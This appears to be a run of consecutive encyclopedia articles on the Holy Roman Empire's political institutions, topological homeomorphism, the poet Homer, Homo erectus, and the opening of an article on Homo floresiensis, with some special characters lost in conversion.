          An entity was considered Reichsstand (imperial estate) if, according to feudal law, it had no authority above it except the Holy Roman Emperor himself. They included:


          
            	Territories governed by a prince or duke, and in some cases kings. (Rulers of the Holy Roman Empire, with the exception of the King of Bohemia (an elector), were not allowed to become King within the Empire, but some had kingdoms outside the Empire, as was, for instance, the case in the Kingdom of Great Britain, where the ruler was also the Prince-elector of Hanover from 1714 until the dissolution of the Empire.)


            	Feudal territories led by a clerical dignitary, who was then considered a prince of the church. In the common case of a Prince-Bishop, this temporal territory (called a prince-bishopric) frequently overlapped hisoften larger ecclesiastical diocese ( bishopric), giving the bishop both worldly and clerical powers. Examples include the three prince-archbishoprics: Cologne, Trier, and Mainz.


            	Imperial Free Cities

          


          The number of territories was amazingly large, rising to approximately 300 at the time of the Peace of Westphalia. Many of these comprised no more than a few square miles, so the Empire is aptly described as a "patchwork carpet" (Flickenteppich) by many (see Kleinstaaterei). For a list of Reichsstands in 1792, see List of Reichstag participants (1792).


          


          Reichstag


          The Reichstag was the legislative body of the Holy Roman Empire. It was divided into three distinct classes:


          
            	The Council of Electors, which included the Electors of the Holy Roman Empire.


            	The Council of Princes, which included both laypersons and clerics.

              
                	The Secular Bench: Princes (those with the title of Prince, Grand Duke, Duke, Count Palatine, Margrave, or Landgrave) held individual votes; some held more than one vote on the basis of ruling several territories. Also, the Council included Counts or Grafs, who were grouped into four Colleges: Wetterau, Swabia, Franconia, and Westphalia. Each College could cast one vote as a whole.


                	The Ecclesiastical Bench: Bishops, certain Abbots, and the two Grand Masters of the Teutonic Order and the Order of St John had individual votes. Certain other Abbots were grouped into two Colleges: Swabia and the Rhine. Each College held one collective vote.

              

            


            	The Council of Imperial Cities, which included representatives from Imperial Cities grouped into two Colleges: Swabia and the Rhine. Each College had one collective vote. The Council of Imperial Cities was not fully equal to the others; it could not vote on several matters such as the admission of new territories. The representation of the Free Cities at the Reichstag had become common since the late Middle Ages. Nevertheless, their participation was formally acknowledged only as late as in 1648 with the peace of Westphalia ending the Thirty Years' War.

          


          


          Imperial courts


          The Empire also had two courts: the Reichshofrat (also known in English as the Aulic Council) at the court of the King/Emperor (that is, later in Vienna), and the Reichskammergericht (Imperial Chamber Court), established with the Imperial Reform of 1495.


          


          Imperial circles


          As part of the Reichsreform, six Imperial Circles (Reichskreise) were established in 1500 and extended to ten in 1512. These were regional groupings of most (though not all) of the various states of the Empire for the purposes of defence, imperial taxation, supervising of coining, peace keeping functions and public security. Each circle had its own Circle Diet (Kreistag).


          


          Analysis


          It has been said that modern history of Germany was primarily predetermined by three factors: the Reich, the Reformation, and the later dualism between Austria and Prussia. Many attempts have been made to explain why the Reich never managed to gain a strong centralized power over its territories, as opposed to neighbouring France. Some reasons include:


          
            	The Empire had been a very federal body from the beginning: again, as opposed to France, which had mostly been part of the Roman Empire, in the eastern parts of the Frankish kingdom, the Germanic tribes later comprising the German nation ( Saxons, Thuringians, Franks, Bavarians, Alamanni or Swabians) were much more independent and reluctant to cede power to a central authority. All attempts to make the kingdom hereditary failed; instead, the king was always elected. Later, every candidate for the king had to make promises to his electorate, the so-called Wahlkapitulationen (election capitulations), thus granting the territories more and more power over the centuries.

          


          
            	Due to its religious connotations, the Empire as an institution was severely damaged by the contest between the Pope and the German Kings over their respective coronations as Emperor. It was never entirely clear under which conditions the pope would crown the emperor and especially whether the worldly power of the emperor was dependent on the clerical power of the pope. Much debate occurred over this, especially during the 11th century, eventually leading to the Investiture Controversy and the Concordat of Worms in 1122.

          


          
            	Whether the feudal system of the Empire, where the King formally was the top of the so-called "feudal pyramid", was a cause of or a symptom of the Empire's weakness is unclear. In any case, military obedience, which  according to Germanic tradition  was closely tied to the giving of land to tributaries, was always a problem: when the Empire had to go to war, decisions were slow and brittle.

          


          
            	Until the sixteenth century, the economic interests of the south and west diverged from those of the north where the Hanseatic League operated. The Hanseatic League was far more closely allied to Scandinavia and the Baltic than the rest of Germany.

          


          
            	The Reformation fatally damaged the Empire. Princes and the Councils of free cities successfully defied Imperial authority in adopting and enforcing their various protestant religious changes, and in banning the operation of the Catholic Church within their territories. The bitter divisions thus engendered between Protestant and Catholic regions, and their jockeying for control within the empire, led inevitably to civil war. The disaster of the Thirty Years War involved extensive foreign military interventions within the empire, and eventually established the right of foreign powers to make independent alliances with individual imperial states.

          


          
            	German historiography nowadays often views the Holy Roman Empire as a well balanced system of organizing a multitude of (effectively independent) states under a complex system of legal regulations. Smaller estates like the Lordships or the Imperial Free cities survived for centuries as independent entities, although they had no effective military strength. The supreme courts, the Reichshofrat and the Reichskammergericht helped to settle conflicts, or at least keep them as wars of words rather than shooting wars.

          


          
            	The multitude of different territories with different languages (German, French, Italian, Czech, Slovene etc.), religious denominations and different forms of government led to a great variety of cultural diversification, which can be felt even in present day Germany with regional cultures, patterns of behaviour and dialects changing sometimes within the range of kilometres.
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          In the mathematical field of topology, a homeomorphism or topological isomorphism (from the Greek words homoios = similar and ή (morphē) = shape = form (Latin deformation of morphe)) is a special isomorphism between topological spaces which respects topological properties. Two spaces with a homeomorphism between them are called homeomorphic. From a topological viewpoint they are the same.


          Roughly speaking, a topological space is a geometric object, and the homeomorphism is a continuous stretching and bending of the object into a new shape. Thus, a square and a circle are homeomorphic to each other, but a sphere and a donut are not. An often-repeated joke is that topologists can't tell the coffee cup from which they are drinking from the donut they are eating, since a sufficiently pliable donut could be reshaped to the form of a coffee cup by creating a dimple and progressively enlarging it, while shrinking the hole into a handle.


          Intuitively, a homeomorphism maps points in the first object that are "close together" to points in the second object that are close together, and points in the first object that are not close together to points in the second object that are not close together. Topology is the study of those properties of objects that do not change when homeomorphisms are applied.


          


          Definition


          A function f between two topological spaces X and Y is called a homeomorphism if it has the following properties:


          
            	f is a bijection ( 1-1 and onto),


            	f is continuous,


            	the inverse function f 1 is continuous (f is an open mapping).

          


          If such a function exists, we say X and Y are homeomorphic. A self-homeomorphism is a homeomorphism of a topological space and itself. The homeomorphisms form an equivalence relation on the class of all topological spaces. The resulting equivalence classes are called homeomorphism classes.


          


          Examples
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            	The unit 2- disc D2 and the unit square in R2 are homeomorphic.

          


          
            	The open interval (1, 1) is homeomorphic to the real numbers R.

          


          
            	The product space S1  S1 and the two- dimensional torus are homeomorphic.

          


          
            	Every uniform isomorphism and isometric isomorphism is a homeomorphism.

          


          
            	Any 2-sphere with a single point removed is homeomorphic to the set of all points in R2 (a 2-dimensional plane).

          


          
            	[image: \mathbb{R}^{n}] and [image: \mathbb{R}^{m}] are not homeomorphic for [image: n\neq m]

          


          Properties


          
            	Two homeomorphic spaces share the same topological properties. For example, if one of them is compact, then the other is as well; if one of them is connected, then the other is as well; if one of them is Hausdorff, then the other is as well; their homology groups will coincide. Note however that this does not extend to properties defined via a metric; there are metric spaces which are homeomorphic even though one of them is complete and the other is not.

          


          
            	A homeomorphism is simultaneously an open mapping and a closed mapping, that is it maps open sets to open sets and closed sets to closed sets.

          


          
            	Every self-homeomorphism in S1 can be extended to a self-homeomorphism of the whole disk D2 ( Alexander's Trick).

          


          


          Informal discussion


          The intuitive criterion of stretching, bending, cutting and gluing back together takes a certain amount of practice to apply correctly  it may not be obvious from the description above that deforming a line segment to a point is impermissible, for instance. It is thus important to realize that it is the formal definition given above that counts.


          This characterization of a homeomorphism often leads to confusion with the concept of homotopy, which is actually defined as a continuous deformation, but from one function to another, rather than one space to another. In the case of a homeomorphism, envisioning a continuous deformation is a mental tool for keeping track of which points on space X correspond to which points on Y  one just follows them as X deforms. In the case of homotopy, the continuous deformation from one map to the other is of the essence, and it is also less restrictive, since none of the maps involved need to be one-to-one or onto. Homotopy does lead to a relation on spaces: homotopy equivalence.


          There is a name for the kind of deformation involved in visualizing a homeomorphism. It is (except when cutting and regluing are required) an isotopy between the identity map on X and the homeomorphism from X to Y.
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          Homer (ancient Greek: Ὅ, Homēros) was an ancient Greek epic poet, traditionally said to be the author of the epic poems the Iliad and the Odyssey. The ancient Greeks generally believed that Homer was a historical individual, but some modern scholars are skeptical: no reliable biographical information has been handed down from classical antiquity. According to Martin West, "Homer" is "not the name of a historical poet, but a fictitious or constructed name." The poems are now widely regarded as the culmination of a long tradition of orally composed poetry, but the way in which they reached their final written form, and the role of an individual poet, or poets, in this process is disputed. By the reckoning of scholars like Geoffrey Kirk, both poems were created by an individual genius who drew much of his material from various traditional stories. Others, like Martin West, hold that the epics were composed by a number of poets. Gregory Nagy maintains that the epics are not the creation of any individual; rather, they slowly evolved towards their final form over a period of centuries and, in this view, are the collective work of generations of poets.


          The date of Homer was controversial in antiquity and is no less so today. Herodotus said that Homer lived 400 years before his own time, which would place him at about 850 BC; but other ancient sources gave dates much closer to the Trojan War. For modern scholarship, "the date of Homer" refers to the date of the poems' conception as much as to the lifetime of an individual. The scholarly consensus is that "the Iliad and the Odyssey date from the extreme end of the 9th century BC or from the 8th, the Iliad being anterior to the Odyssey, perhaps by some decades.",i.e. somewhat earlier than Hesiod, and that the Iliad is the oldest work of western literature. Over the past few decades, some scholars have been arguing for a 7th-century date. Those who believe that the Homeric poems developed gradually over a long period of time, however, generally give a later date for the poems: according to Nagy, they only became fixed texts in the 6th century.


          Alfred Heubeck states that the formative influence of the works of Homer in shaping and influencing the whole development of Greek culture was recognised by many Greeks themselves, who considered him to be their instructor.


          


          Life and legends


          Although "Homer" is a real Greek name, attested in Aeolic-speaking areas, nothing definite is known of him; yet rich traditions grew up, or were conserved, purporting to give details of his birthplace and background. Many of them were purely fantastical: the writer Lucian makes him out to be a Babylonian called Tigranes, who only assumed the name Homer when taken "hostage" by the Greeks. When the Emperor Hadrian asked the Oracle at Delphi who Homer really was, the Pythia proclaimed that he was Ithacan, the son of Epikaste and Telemachus, from the Odyssey. These stories proliferated and were incorporated into a number of Lives of Homer compiled from the Alexandrian period onwards. The most common version has Homer born in the Ionian region of Asia Minor, at Smyrna, or on the island of Chios, and dying on the Cycladic island of Ios. A connection with Smyrna seems to be alluded to in a legend that his original name was "Melesigenes" ("born of Meles", a river which flowed by that city), and of the nymph Kretheis. Internal evidence from the poems gives some support to this connection: familiarity with the topography of this area of Asia Minor's littoral obtrudes in place-names and details, and similes evocative of local scenery: the meadow birds at the mouth of the Caystros ( Iliad.2:459ff.), a storm in the Icarian sea ( Iliad2.144ff.), and wind-lore ( Iliad2.394ff: 4.422ff: 9.5), or that women of either Maeonia or Caria stain ivory with scarlet ( Iliad 4.142).


          The association with Chios dates back at least to Semonides of Amorgos who cited a famous line in the Iliad (6.146) as by "the man of Chios". Some kind of eponymous bardic guild, known as the Homeridae (sons of Homer), or Homeristae ('Homerizers') appears to have existed there, variously tracing descent from an imaginary ancestor of that name, or vaunting their special function as rhapsodes or "lay-stitchers" specialising in the recitation of Homeric poetry.


          The poet's name is homophonous with "homros", meaning, generally, "hostage" (or "surety"), long understood as "he who accompanies; he who is forced to follow", or, in some dialects, "blind". The assonance itself generated many tales relating the person to the functions of a hostage or of a blind man. In regard to the latter, traditions holding that he was blind may have arisen from the meaning of the word both in Ionic, where the verbal form "hmreu" has the specialized meaning of "guide the blind", and in the Aeolian dialect of Cyme, where homros was cognate with tuphls, meaning 'blind'. The characterization of Homer as a blind bard goes back to some verses in the Delian Hymn to Apollo, the third of the Homeric Hymns, verses later cited to support this notion by Thucydides. The Cumean historian Ephorus held the same view, and the idea gained support in antiquity on the strength of a false etymology deriving his name from ho m horn (ὁ ὴ ὁώ: "he who does not see"). Critics have long taken a passage in the Odyssey describing a blind bard, Demodocus, in the court of the Phaeacian king, who recounts stories of Troy to the shipwrecked Odysseus, as self-referential.


          Many scholars take the name of the poet to be indicative of a generic function. Gregory Nagy takes it to mean "he who fits (the Song) together". "Hmr", another related verb, besides signifying "meet", can mean "(sing) in accord/tune". Some argue that "Homer" may have meant "he who puts the voice in tune" with dancing. Marcello Durante links "Homeros" to an epithet of Zeus as "god of the assemblies" and argues that behind the name lies the echo of an archaic word for "reunion", similar to the later Panegyris, denoting a formal assembly of competing minstrels.


          The Ancient Lives depict Homer as a wandering minstrel, much like Thamyris or Hesiod, who walked as far as Chalkis to sing at the funeral games of Amphidamas. We are given the image of a "blind, begging singer who hangs around with little people: shoemakers, fisherman, potters, sailors, elderly men in the gathering places of harbour towns". The poems themselves give evidence of singers at the courts of the nobility. Scholars are divided as to which category, if any, the court singer or the wandering minstrel, the historic "Homer" belonged.


          


          Works attributed to Homer


          The Greeks of the sixth and early fifth centuries understood by "Homer", generally, "the whole body of heroic tradition as embodied in hexameter verse". Thus, in addition to the Iliad and the Odyssey, there are "exceptional" epics which organize their respective themes on a "massive scale", many other works were credited to Homer in antiquity, including the entire Epic Cycle. The genre included further poems on the Trojan War, such as the Little Iliad, the Nostoi, the Cypria and the Epigoni, as well as the Theban poems about Oedipus and his sons. Other works, such as the corpus of Homeric Hymns, the comic mini-epic Batrachomyomachia ("The Frog-Mouse War"), and the Margites were also attributed to him, but this is now believed to be unlikely. Two other poems, the Capture of Oechalia and the Phocais were also assigned Homeric authorship, but the question of the identities of the authors of these various texts is even more problematic than that of the authorship of the two major epics.


          


          Problems of authorship


          The idea that Homer was responsible for just the two outstanding epics, the Iliad and the Odyssey, only won consensus by 350 B.C.E.. While many find it unlikely that both epics were composed by the same person, others argue that the stylistic similarities are too consistent to support the theory of multiple authorship. One view which attempts to bridge the differences holds that the Iliad was composed by "Homer" in his maturity, while the Odyssey was a work of his old age. The Batrachomyomachia, Homeric Hymns and cyclic epics are generally agreed to be later than the Iliad and the Odyssey.


          Most scholars agree that the Iliad and Odyssey underwent a process of standardisation and refinement out of older material beginning in the 8th century BCE. An important role in this standardisation appears to have been played by the Athenian tyrant Hipparchus, who reformed the recitation of Homeric poetry at the Panathenaic festival. Many classicists hold that this reform must have involved the production of a canonical written text.


          Other scholars still support the idea that Homer was a real person. Since nothing is known about the life of this Homer, the common joke, also recycled in disputes about the authorship of plays ascribed to Shakespeare, has it that the poems "were not written by Homer, but by another man of the same name," . Samuel Butler argued that a young Sicilian woman wrote the Odyssey (but not the Iliad), an idea further pursued by Robert Graves in his novel Homer's Daughter and Andrew Dalby in Rediscovering Homer.


          Independent of the question of single authorship is the near-universal agreement, after the work of Milman Parry, that the Homeric poems are dependent on an oral tradition, a generations-old technique that was the collective inheritance of many singer-poets ( aoidoi). An analysis of the structure and vocabulary of the Iliad and Odyssey shows that the poems contain many formulaic phrases typical of extempore epic traditions; even entire verses are at times repeated. Parry and his student Albert Lord pointed out that such elaborate oral tradition, foreign to today's literate cultures, is typical of epic poetry in a predominantly oral cultural milieu, the key words being "oral" and "traditional". Parry started with "traditional": the repetitive chunks of language, he said, were inherited by the singer-poet from his predecessors, and were useful to him in composition. Parry called these repetitive chunks "formulas".


          Exactly when these poems would have taken on a fixed written form is subject to debate. The traditional solution is the "transcription hypothesis", wherein a non-literate "Homer" dictates his poem to a literate scribe between the 8th and 6th centuries. The Greek alphabet was introduced in the early 8th century, so it is possible that Homer himself was of the first generation of authors who were also literate. More radical Homerists like Gregory Nagy contend that a canonical text of the Homeric poems as "scripture" did not exist until the Hellenistic period ( 3rd to 1st century BCE).


          


          Homeric studies
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          The study of Homer is one of the oldest topics in scholarship, dating back to antiquity. The aims and achievements of Homeric studies have changed over the course of the millennia. In the last few centuries, they have revolved around the process by which the Homeric poems came into existence and were transmitted down to usfirst orally and later in writing.


          Some of the main trends in modern Homeric scholarship have been, in the 19th and early 20th centuries, Analysis and Unitarianism (see Homeric Question), schools of thought which emphasized on the one hand the inconsistencies in, and on the other the artistic unity of, Homer; and in the 20th century and later Oral Theory, the study of the mechanisms and effects of oral transmission, and Neoanalysis, which is the study of the relationship between Homer and other early epic material.


          


          Homeric dialect


          The language used by Homer is an archaic version of Ionic Greek, with admixtures from certain other dialects, such as Aeolic Greek. It later served as the basis of Epic Greek, the language of epic poetry, typically in dactylic hexameter.


          


          Homeric style


          Aristotle remarks in his Poetics that Homer was unique among the poets of his time, focusing on a single, unified theme or action in the epic cycle. The cardinal qualities of the style of Homer are well articulated by Matthew Arnold:


          
            [T]he translator of Homer should above all be penetrated by a sense of four qualities of his author:that he is eminently rapid; that he is eminently plain and direct, both in the evolution of his thought and in the expression of it, that is, both in his syntax and in his words; that he is eminently plain and direct in the substance of his thought, that is, in his matter and ideas; and finally, that he is eminently noble.

          


          The peculiar rapidity of Homer is due in great measure to his use of hexameter verse. It is characteristic of early literature that the evolution of the thought, or the grammatical form of the sentence, is guided by the structure of the verse; and the correspondence which consequently obtains between the rhythm and the syntax, the thought being given out in lengths, as it were, and these again divided by tolerably uniform pauses, produces a swift flowing movement, such as is rarely found when periods are constructed without direct reference to the metre. That Homer possesses this rapidity without falling into the corresponding faults, that is, without becoming either fluctuant or monotonous, is perhaps the best proof of his unequalled poetic skill. The plainness and directness, both of thought and of expression, which characterise him were doubtless qualities of his age, but the author of the Iliad (similar to Voltaire, to whom Arnold happily compares him) must have possessed this gift in a surpassing degree. The Odyssey is in this respect perceptibly below the level of the Iliad.
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          Rapidity or ease of movement, plainness of expression, and plainness of thought are not distinguishing qualities of the great epic poets, Virgil, Dante, and Milton. On the contrary, they belong rather to the humbler epico-lyrical school for which Homer has been so often claimed. The proof that Homer does not belong to that school, and that his poetry is not in any true sense ballad poetry, is furnished by the higher artistic structure of his poems and, as regards style, by the fourth of the qualities distinguished by Arnold, the quality of nobleness. It is his noble and powerful style, sustained through every change of idea and subject, that finally separates Homer from all forms of ballad-poetry and popular epic.


          Like the French epics, such as the " Chanson de Roland", Homeric poetry is indigenous and, by the ease of movement and its resultant simplicity, distinguishable from the works of Dante, Milton and Virgil. It is also distinguished from the works of these artists by the comparative absence of underlying motives or sentiment. In Virgil's poetry, a sense of the greatness of Rome and Italy is the leading motive of a passionate rhetoric, partly veiled by the considered delicacy of his language. Dante and Milton are still more faithful exponents of the religion and politics of their time. Even the French epics display sentiments of fear and hatred of the Saracens; but, in Homer's works, the interest is purely dramatic. There is no strong antipathy of race or religion; the war turns on no political events; the capture of Troy lies outside the range of the Iliad; and even the protagonists are not comparable to the chief national heroes of Greece. So far as can be seen, the chief interest in Homer's works is that of human feeling and emotion, and of drama; indeed, his works are often referred to as "dramas".


          


          History and the Iliad
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          The excavations of Heinrich Schliemann at Hisarlik in the late 19th century provided initiatory evidence to scholars that there was a historical fundament for the Trojan War. Research into oral epics in Serbo-Croatian and Turkic languages, pioneered by the aforementioned Parry and Lord, began convincing scholars that long poems could be preserved with consistency by oral cultures until they are written down. The decipherment of Linear B in the 1950s by Michael Ventris (and others) convinced many of a linguistic continuity between 13th century BC Mycenaean writings and the poems attributed to Homer.


          It is probable, therefore, that the story of the Trojan War as reflected in the Homeric poems derives from a tradition of epic poetry founded on a war which actually took place. It is crucial, however, not to underestimate the creative and transforming power of subsequent tradition: for instance, Achilles, the most important character of the Iliad, is strongly associated with southern Thessaly, but his legendary figure is interwoven into a tale of war whose kings were from the Peloponnese. Tribal wanderings were frequent, and far-flung, ranging over much of Greece and the Eastern Mediterranean. The epic weaves brilliantly the disiecta membra of these distinct tribal narratives, exchanged among clan bards, into a monumental tale in which Greeks join collectively to do battle on the distant plains of Troy.


          


          Hero cult
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          In the Hellenistic period, Homer was the subject of a hero cult in several cities. A shrine, the Homereion, was built devoted to him in Alexandria by Ptolemy IV Philopator in the late 3rd century BC. This shrine is described in Aelian's 3rd century work Varia Historia. He describes how Ptolemy "placed in a circle around the statue [of Homer] all the cities who laid claim to Homer" and mentions a painting of the poet by the artist Galaton, which apparently depicted Homer in the aspect of Oceanus as the source of all poetry.


          A marble relief, found in Italy but thought to have been sculpted in Egypt, depicts the apotheosis of Homer. It shows Ptolemy and his wife or sister Arsinoe III standing beside a seat poet, flanked by figures from the Odyssey and Iliad, with the nine Muses standing above them and a procession of worshippers approaching an altar, believed to represent the Alexandrine Homereion. Apollo, the god of music and poetry, also appears, along with a female figure tentatively identified as Mnemosyne, the mother of the Muses. Zeus, the king of the gods, presides over the proceedings. The relief demonstrates vividly that the Greeks considered Homer not merely a great poet but the divinely-inspired reservoir of all literature.


          Homereia also stood at Chios, Ephesus and Smyrna, which were among the city-states that claimed to be his birthplace. Strabo (14.1.37) records a Homeric temple in Smyrna with an ancient xoanon or cult statue of the poet. He also mentions sacrifices carried out to Homer by the inhabitants of Argos, presumably at another Homereion.


          


          Transmission and Publication


          Though evincing many features characteristic of oral poetry, the Iliad and Odyssey were at some point committed to writing. The Greek script, adapted from a Phoenician syllabary around 800 B.C.E., made possible the notation of the complex rhythms and vowel clusters that make up hexametric verse. Homer's poems appear to have been recorded shortly after the alphabet's invention: an inscription from Ischia in the Bay of Naples, circa 740 B.C.E., appears to refer to a text of the Iliad; likewise, illustrations seemingly inspired by the Polyphemus episode in the Odyssey are found on Samos, Mykonos and in Italy in the first quarter of the seventh century B.C.E.. We have little information about the early condition of the Homeric poems, but Alexandrian editors stabilized the text in the second century BC, from which all modern texts descend.


          In late antiquity, knowledge of Greek declined in Latin-speaking western Europe and, along with it, knowledge of Homer's poems. It was not until the fifteenth century that Homer's work began to be read once more in Italy. The first printed edition appeared in 1488.
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          Homo erectus (Latin: "upright man") is an extinct species of the genus Homo. Dutch anatomist Eugene Dubois (1890s) first described it as Pithecanthropus erectus, based on a calotte (skullcap) and a modern-looking femur found from the bank of the Solo River at Trinil, in central Java. However, thanks to Canadian anatomist Davidson Black's (1921) initial description of a lower molar, which was dubbed Sinanthropus pekinensis, most of the early and spectacular discoveries of this taxon took place at Zhoukoudian in China. German anatomist Franz Weidenreich provided much of the detailed description of this material in several monographs published in the journal Palaeontologica Sinica (Series D). However, nearly all of the original specimens were lost during World War II. High quality Weidenreichian casts do exist and are considered to be reliable evidence; these are curated at the American Museum of Natural History (NYC) and at the Institute of Vertebrate Paleontology and Paleoanthropology (Beijing).


          Throughout much of the 20th century, anthropologists debated the role of H. erectus in human evolution. Early in the century, due to discoveries on Java and at Zhoukoudian, it was believed that modern humans first evolved in Asia. This contradicted Charles Darwin's idea of African human origin. However, during the 1950s and 1970s, numerous fossil finds from East Africa (Kenya) yielded evidence that the oldest hominins originated there. It is now believed that H. erectus is a descendant of earlier hominins such as Australopithecus and early Homo species (e.g., H. habilis), although new findings in 2007 suggest that H. habilis and H. erectus coexisted and may be separate lineages from a common ancestor.


          H. erectus originally migrated from Africa during the Early Pleistocene, possibly as a result of the operation of the Saharan pump, around 2.0 million years ago, and dispersed throughout most of the Old World, reaching as far as Southeast Asia.


          Fossilized remains 1.8 and 1.0 million years old have been found in Africa (e.g., Lake Turkana and Olduvai Gorge), Europe (Georgia, Spain), Indonesia (e.g., Sangiran and Trinil), Vietnam, and China (e.g., Shaanxi). H. erectus is an important hominin because it is believed to have been the first to leave Africa. However, some scholars believe that H. erectus is not the direct ancestor of modern H. sapiens.


          A homo erectus skull, Tchadanthropus uxoris, discovered in 1961, is the partial skull of the first early hominid till then discovered in Central Africa, found in Chad during an expedition led by the anthropologist Yves Coppens. While some then thought it was a variety of the Homo habilis, the Tchadanthropus uxoris is no longer considered to be a separate species, and scholars consider it to be Homo erectus, and it is even argued that the skull is just a modern human, Homo sapiens sapiens, weathered by the elements to look like an australopithecine skull.


          


          Description


          Homo erectus has fairly derived morphological features and a larger cranial capacity than that of Homo habilis, although new finds from Dmanisi in the Republic of Georgia show distinctively small crania. The forehead (frontal bone) is less sloping and the teeth are smaller (quantification of these differences is difficult, however; see below). Homo erectus would bear a striking resemblance to modern humans, but had a brain about 75 percent (950 to 1100 cc) of the size of that of a modern human. These early hominines were tall, on average standing about 1.79 m (5 feet, 10 inches). The sexual dimorphism between males and females was slightly greater than seen in modern Homo sapiens with males being about 20-30% larger than females. The discovery of the skeleton KNM-WT 15000 ( Turkana boy) made near Lake Turkana, Kenya by Richard Leakey and Kamoya Kimeu in 1984 was a breakthrough in interpreting the physiological status of H. erectus.


          Homo erectus would have been much stronger than modern humans, was the first hominid to hunt, use complex tools and care after weaker companions.


          


          Usage of tools and general abilities
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          Homo erectus used more diverse and sophisticated tools than its predecessors. This has been theorized to have been a result of Homo erectus first using tools of the Oldowan style and later progressing to the Acheulean style. The surviving tools from both periods are all made of stone. Oldowan tools are the oldest known formed tools and date as far back as about 2.6 million years ago. The Acheulean era began about 1.2 million years ago and ended about 500,000 years ago. The primary innovation associated with Acheulean handaxes is that the stone was chipped on both sides to form two cutting edges. In addition it has been suggested that Homo erectus may have been the first hominid to use rafts to travel over oceans but however this idea is controversial within the scientific community.


          


          Social aspects


          Homo erectus (along with Homo ergaster) was probably the first early human species to fit squarely into the category of a hunter-gatherer society. Anthropologists such as Richard Leakey believe that H. erectus was socially closer to modern humans than the more primitive species before it. The increased cranial capacity generally coincides with the more sophisticated tool technology occasionally found with the species' remains.


          The discovery of Turkana boy in 1984 has shown evidence that despite H. erectus's human-like anatomy, they were not capable of producing sounds of a complexity comparable to modern speech.


          H. erectus migrated all throughout the Great Rift Valley, even up to the Red Sea. Early humans, in the person of Homo erectus, were learning to master their environment for the first time. Attributed to H. erectus, around 1.8 million years ago in the Olduvai Gorge, is the oldest known evidence of mammoth consumption (BioScience, April 2006, Vol. 56 No. 4, p. 295). Bruce Bower has suggested that H. erectus may have built rafts and traveled over oceans, although this possibility is considered controversial.


          A site called Terra Amata, which lies on an ancient beach location on the French Riviera, seems to have been occupied by Homo erectus and contains the earliest (least disputed) evidence of controlled fire dated at around 300,000 years BP. There are also older Homo erectus sites in France, China, Vietnam, and other areas that seem to indicate controlled use of fire, some dating back 500,000 to 1.5 million years ago. A presentation at the Paleoanthropology Society annual meeting in Montreal, Canada in March of 2004 stated that there is evidence for controlled fires in excavations in northern Israel from about 690,000 to 790,000 years ago. Despite these examples, some scholars continue to assert that the controlled use of fire was atypical of Homo erectus, and that the use of controlled fire is more typical of advanced species of the Homo genus (such as Homo antecessor, H. heidelbergensis and H. neanderthalensis).


          


          Classification


          There has been a great deal of discussion concerning the taxonomy of Homo erectus (see the 1984 and 1994 volumes of Courier Forschungsinstitut Senckenberg), and it relates to the question whether or not H. erectus is a geographically widespread species (found in Africa, Europe, and Asia), or is it a classic Asian lineage that evolved from less cranially derived African H. ergaster.


          While some have argued (and insisted) that Ernst Mayr's biological species definition cannot be used here to test the above hypotheses, we can, however, examine the amount of morphological (cranial) variation within known H. erectus / H. ergaster specimens, and compare it to what we see in different extant primate groups with similar geographical distribution or close evolutionary relationship. Thus, if the amount of variation between H. erectus and H. ergaster is greater than what we see within a species of, say, macaques, then H. erectus and H. ergaster should be considered as two different species. Of course, the extant model (of comparison) is very important and choosing the right one(s) can be difficult.


          


          Descendants and subspecies


          Homo erectus remains one of the most successful and long-lived species of the Homo genus. It is generally considered to have given rise to a number of descendant species and subspecies. The oldest known specimen of the ancient human was found in Africa.
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          The discovery of Homo floresiensis, and particularly its recent survival, has raised the possibility that numerous descendant species of Homo erectus may have existed in the islands of Southeast Asia which await fossil discovery. Some scientists are skeptical about the claim that Homo floresiensis is a descendant of Homo erectus. One theory holds that the fossils are from a modern human with microcephaly, while another one claims that they are from a group of pygmys.


          


          Individual fossils


          Some of the major Homo erectus fossils:


          
            	Indonesia (island of Java): Trinil 2 (holotype), Sangiran collection, Sambungmachan collection, Ngandong collection


            	China: Lantian (Gongwangling and Chenjiawo), Yunxian, Zhoukoudian, Nanjing, Hexian


            	India: Narmada (taxonomic status debated!)


            	Kenya: WT 15000 (Nariokotome), ER 3883, ER 3733


            	Tanzania: OH 9


            	Vietnam: Northern, Tham Khuyen, Hoa Binh


            	Republic of Georgia: Dmanisi collection


            	Turkey: Kocabas fossil

          


          Some scholars consider specimens outside of Asia to be Homo ergaster. In other words, Homo erectus is an Asian lineage derived from Homo ergaster, which originated in Africa ca. 2.0 million years ago (Ma).
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          Homo floresiensis ("Man of Flores", nicknamed Hobbit) is a possible species in the genus Homo, remarkable for its small body and brain, and survival until relatively recent times. It was named after the Indonesian island of Flores on which the remains were found. One largely complete subfossil skeleton (LB1) and a complete jawbone from a second individual (LB2), dated at 18,000 years old, were discovered in deposits in Liang Bua Cave on Flores in 2003. Parts of seven other individuals (LB3  LB9, the most complete being LB6), all diminutive, have been recovered as well as similarly small stone tools from horizons ranging from 94,000 to 13,000 years ago. The first of these remains was unearthed in 2003 and the publication date of the original description is October 2004.


          The discoverers, anthropologists Peter Brown, Michael Morwood and their colleagues have argued that a variety of features, both primitive and derived, identified the skeleton of LB1 as that of a new species of hominin, H. floresiensis. They argued that it was contemporaneous with modern humans (Homo sapiens) on Flores.


          Doubts that the discoveries constitute a new species were soon voiced by the Indonesian anthropologist Teuku Jacob, who suggested that the skull of LB1 was a microcephalic modern human. A controversy developed, leading to the publication of a number of studies which supported or rejected claims for species status. In March 2005 scientists who published details of the brain of Flores Man in Science supported species status. Several researchers, including one scientist who worked on the initial study, have disputed the 2005 study, supporting the conclusion that the skull is microcephalic. The original discoverers have argued against these interpretations and maintain that H. floresiensis is a distinct species. This is supported by the most recent study that disputes possibility of microcephaly published by paleoneurologist Dean Falk comparing the H. floresiensis brain to ten microcephalic brains revealing distinct differences that have so far gone unanswered by critics. In addition, a 2007 study of carpal bones of H. floresiensis found similarities to those of a chimpanzee or early hominid such as Australopithecus and were significantly different from the bones of modern humans. Studies of the bones and joints of the arm and shoulder have also suggested that H. floresiensis was more similar to early humans and apes than modern humans. However, critics of the claim to species status continue to suggest alternative explanations. The most recent hypothesis put forward is that the skeletons found were from cretinous individuals who suffered from iodine deficiencies in the womb. This idea has been dismissed by members of the original discovery team as based on a misinterpretation of the data. To date, the only complete cranium is that of LB1.


          


          Discovery
